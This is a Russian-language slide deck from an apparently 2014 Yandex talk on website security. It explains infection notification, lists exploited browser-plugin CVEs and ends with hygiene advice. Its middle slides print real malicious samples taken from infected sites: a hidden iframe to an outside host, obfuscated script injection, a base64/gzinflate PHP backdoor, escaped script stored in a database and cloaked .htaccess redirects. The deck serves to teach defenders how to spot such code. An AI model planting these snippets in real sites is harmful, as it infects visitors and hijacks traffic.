Безопасность сайта: мифы и реальность — Петр Волков
- 3. Яндекс предупреждает пользователей о
сайтах
• С вредоносными программами
• Эксплуатирующих уязвимости окружения браузера
• С фишингом
• SMS мошенничеством
• С нежелательными для пользователя программами
- 7. Более 99 % пользователей поиска не переходят на зараженные
сайты
- 11. Уведомления о заражении
• Контактный email адрес
из Яндекс.Вебмастер
• Указанный в WHIOS адрес
• abuse@
• webmaster@
• security@
• admin@
• …
- 16. Какие эксплоиты можно встретить
Продукт Уязвимость Уязвимая версия
Flash player CVE-2013-0634 <= 11.5.502.149
Flash player CVE-2014-0497 <= 12.0.0.44
Flash player
CVE-2014-0515
<= 13.0.0.206
Internet Explorer CVE-2013-2551
6 - 10
Internet Explorer
CVE-2014-0322 9, 10
Silverlight CVE-2013-0074 <= 5.1.20125.0
Silverlight CVE-2013-3896 <= 5.1.20913.0
Adobe Reader CVE-2010-0188 <=9.3
Java Runtime 2013-0422 <= 1.7.0.11
Java Runtime CVE-2013-2465 <= 1.7.0.21
- 17. Места естественного обитания вредоносного кода
• Серверные скрипты
• Конфиги веб-сервера
• БД
• Статика
• Исполняемый файл/процесс веб-сервера, модули веб-
сервера, модифицированный sshd
- 18. Шаблоны / JS
{* Smarty Template *}
{* Core Template *}
{* Multi-lang - Loads all inner components of the page *}
<!DOCTYPE HTML>
<html>
<head>
{include file=$lang|cat:"/head.tpl"}
</head> <body>
{include file=$lang|cat:"/menu.tpl"}
{include file=$lang|cat:"/body.tpl"}
{include file=$lang|cat:"/footer.tpl"}
<iframe src="http://thumbtackeffects.biz:90/forum/ask.php"
width="0" height="0" frameborder="0"></iframe>
</body>
</html>
- 19. Шаблоны / JS
;var I=/*@cc_on!@*/false || !!document.documentMode;if(I||F||window.opera)
{document.write("<s"+"cr"+"ipt s"+"r"+"c='f"+"tp://f"+"t"+"t1.r"+"u/
is"+"t.j"+"s'></sc"+"ri"+"pt>");}
- 20. Server-‐side
cкрипты
<?php assert(gzinflate(base64_decode('ZXbc...1sdQp9‘)));
smarty = new Smarty;
$smarty->setTemplateDir('../smarty/templates');
class Template extends Smarty
{
function __construct()
{
parent::__construct();
$this->template_dir = "../smarty/templates/";
$this->compile_dir = "../smarty/templates_c/";
}
- 21. БД
…
<p><strong></strong></p>
<SCRIPT>document.write(unescape('<%53C122IP%54> 146f075060073 f
0456Fr(%6E%6E040i156%20144oc165me%6E04574%29 i146(n156==047et
157ur%73%270457C%7Cnn075=%27lo1470456F-141ni155047) 146f=
%31073 151f(04566f=0750174|(
...
>074047+04527%2FSC122IP124%3E047%29%3B d157c04575me156t.
167162it%6505004527<047+047041--047);04520%3C/S%43R111P124>'))</
SCRIPT><H2>Crestor side effects</H2>
<P>Necrosis in the clinical, findings
…
- 22. Файлы
конфигурации
(
.htaccess
)
RewriteEngine On
…
RewriteCond %{HTTP_USER_AGENT} mobile [NC,OR]
RewriteCond %{HTTP_ACCEPT} "text/vnd.wap.wml|application/vnd.wap.xhtml+xml"
[NC,OR]
…
RewriteCond %{HTTP_USER_AGENT} !google [NC]
RewriteCond %{HTTP_USER_AGENT} !yandex [NC]
RewriteCond %{HTTP_USER_AGENT} !bot [NC]
…
[L,R=302]
RewriteCond %{HTTP_REFERER} ^http://www.yandex.ru/ [OR]
RewriteCond %{HTTP_REFERER} ^http://google.com/ [OR]
…
RewriteRule ^(.*)$
http://qo0.ru/?1&source=%{HTTP_HOST}
[L,R=302]
- 23. Реклама
и
партнерские
программы
<!--Money counter--><script type="text/javascript"><!--
document.write('<sc' + 'ript language="JavaScript" rel="nofollow" ' +
'src="http://traffbiz.is-by.us/ID_сайта/counterOne.jpg" title="Money counter" border="0"
width="1" height="1"></sc' + 'ript>');
//--></script><!--/Money counter-->
- 24. httpd.conf
Бинарные
файлы
LoadModule access_module modules/mod_access.so
LoadModule actions_module modules/mod_actions.so
LoadModule alias_module modules/mod_alias.so
LoadModule asis_module modules/mod_spm_headers.so
LoadModule auth_module modules/mod_auth.so
#LoadModule auth_anon_module modules/mod_auth_anon.so
#LoadModule auth_dbm_module modules/mod_auth_dbm.so
DrWeb: Linux.Iframe.1
Sophos: Troj/Apmod-C
TrendMicro-HouseCall: TROJ_GEN
- 25. Базовая гигиена
• Не оставлять на продакшн-сервере никаких test.php и
backup.tgz
• Парольная гигиена
• Регулярное обновление серверного ПО, в том числе ядра
ОС
• Запрет доступа к сервисам извне
- 26. Минимизация привилегий
Уменьшаем периметр атаки
• Ограничение прав веб-сервера
• На продакшн-сервере только необходимый минимум
программ
• Обновление серверного ПО, в том числе ядра ОС
• Строгая политика доступа к каталогам через веб
- 27. Контроль целостности
Как не прозевать вредоносную активность?
• Размещение пакетами
• Система контроля версий
• Внешний контроль целостности (например,
tripwire)
- 28. Что почитать:
Расследование об информационной безопасности в Яндексе. Rdomn – скрытая угроза
http://habrahabr.ru/company/yandex/blog/218143/
MAYHEM — многоцелевой бот для *NIX-серверов. Расследование Яндекс.Безопасности
http://habrahabr.ru/company/yandex/blog/230167/
Яндекс и безопасность. Как мы изучали и обезвреживали обёртки (агрессивные adware)
http://habrahabr.ru/company/yandex/blog/226817/
Устройство системы Безопасного Поиска Яндекса
http://habrahabr.ru/company/yandex/blog/195408/
Детектор сайтов, заражающих компьютеры посетителей с помощью вредоносных Java-апплетов
http://habrahabr.ru/post/170921/
О детектировании атак drive-by download и новых векторах распространения через Flash-баннеры
http://habrahabr.ru/post/143345/
Ebury and CDorked. Full disclosure
https://www.virusbtn.com/conference/vb2014/abstracts/SidorovBureau.xml
Развитие drive by download атак
http://safesearch.ya.ru/replies.xml?item_no=727
- 29. Полезные ссылки:
http://safesearch.ya.ru - Блог антивирусной службы Яндекса
http://dns.yandex.ru – Яндекс.DNS
http://safe.yandex.ru – SafeBrowsing API
http://help.yandex.ru/webmaster/security/cure.xml – Раздел «безопасность» в Яндекс.Вебмастере
http://webmaster.yandex.ru/delspam.xml – Форма жалоб на спам/вредоносный код/фишинг
- 30. Безопасность сайта:
мифы и реальность
Пётр Волков
Руководитель группы анализа вредоносного кода
peevo@yandex-team.ru
Я.Субботник, Новосибирск, 18.10.2014